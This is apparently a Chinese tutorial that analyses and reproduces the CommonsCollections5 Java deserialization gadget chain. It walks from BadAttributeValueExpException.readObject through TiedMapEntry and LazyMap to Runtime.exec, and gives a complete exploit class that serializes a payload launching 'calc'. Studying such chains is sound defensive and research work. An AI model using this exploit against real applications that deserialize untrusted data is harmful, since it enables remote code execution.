流程图
分析与复现
0x00 概述
CC5 的后半段利用方式与 CC6 差不多,使用 TiedMapEntry.toString 调用 LazyMap.get 进而调用 chainedTransformer.transform。但 CC5 的入口点使用的是 BadAttributeValueExpException.readObject。该类的 readObject 方法会调用另一个类的 toString 方法。
利用版本
CommonsCollections 3.1 - 3.2.1
限制
JDK版本:暂无
0x01 触发点
触发点还是 Runtime.exec,使用 TiedMapEntry.toString 调用 LazyMap.get 进而调用 chainedTransformer.transform。
这一部分的代码在编写时可以直接粘贴 CC6 的。
ChainedTransformer chainedTransformer = new ChainedTransformer(
new Transformer[]{
new ConstantTransformer(
Runtime.class
),
new InvokerTransformer(
"getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,null}
),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
)
});
HashMap<Object, Object> hashMap = new HashMap<>();
Map map = LazyMap.decorate(hashMap,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(map, 1);
0x02 调用链
TiedMapEntry 继续往上寻找利用链,就需要找哪一个类调用了 toString 方法,调用这个方法的类实在是太多了,CC5 的作者在 BadAttributeValueExpException 类的 readObject 方法中找到了对 toString 方法的调用,因此非常方便。
val 可以在构造函数中直接赋值。因此可以直接赋值为 TiedMapEntry 。
注意到,如果 TiedMapEntry 不为 null ,则会直接调用 toString 方法,我们在序列化之前不希望执行 payload,因此可以在实例化对象时赋值为 null,然后使用反射的方式将 val 修改为 TiedMapEntry 。
下面编写 exp:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC5 {
public static void main(String[] args) throws Exception {
// TestCC5();
unserialize("abc.ser.bin");
}
public static void TestCC5() throws Exception {
ChainedTransformer chainedTransformer = new ChainedTransformer(
new Transformer[]{
new ConstantTransformer(
Runtime.class
),
new InvokerTransformer(
"getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,null}
),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
)
});
HashMap<Object, Object> hashMap = new HashMap<>();
Map map = LazyMap.decorate(hashMap,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(map, 1);
// tiedMapEntry.toString();
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field val = BadAttributeValueExpException.class.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,tiedMapEntry);
serialize(badAttributeValueExpException);
}
public static void serialize(Object o) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("abc.ser.bin"));
oos.writeObject(o);
}
public static void unserialize(String filePath) throws Exception{
ObjectInputStream ins = new ObjectInputStream(new FileInputStream(filePath));
ins.readObject();
}
}
可以弹出计算器。
参考资料
PREVIOUSCommonsCollections4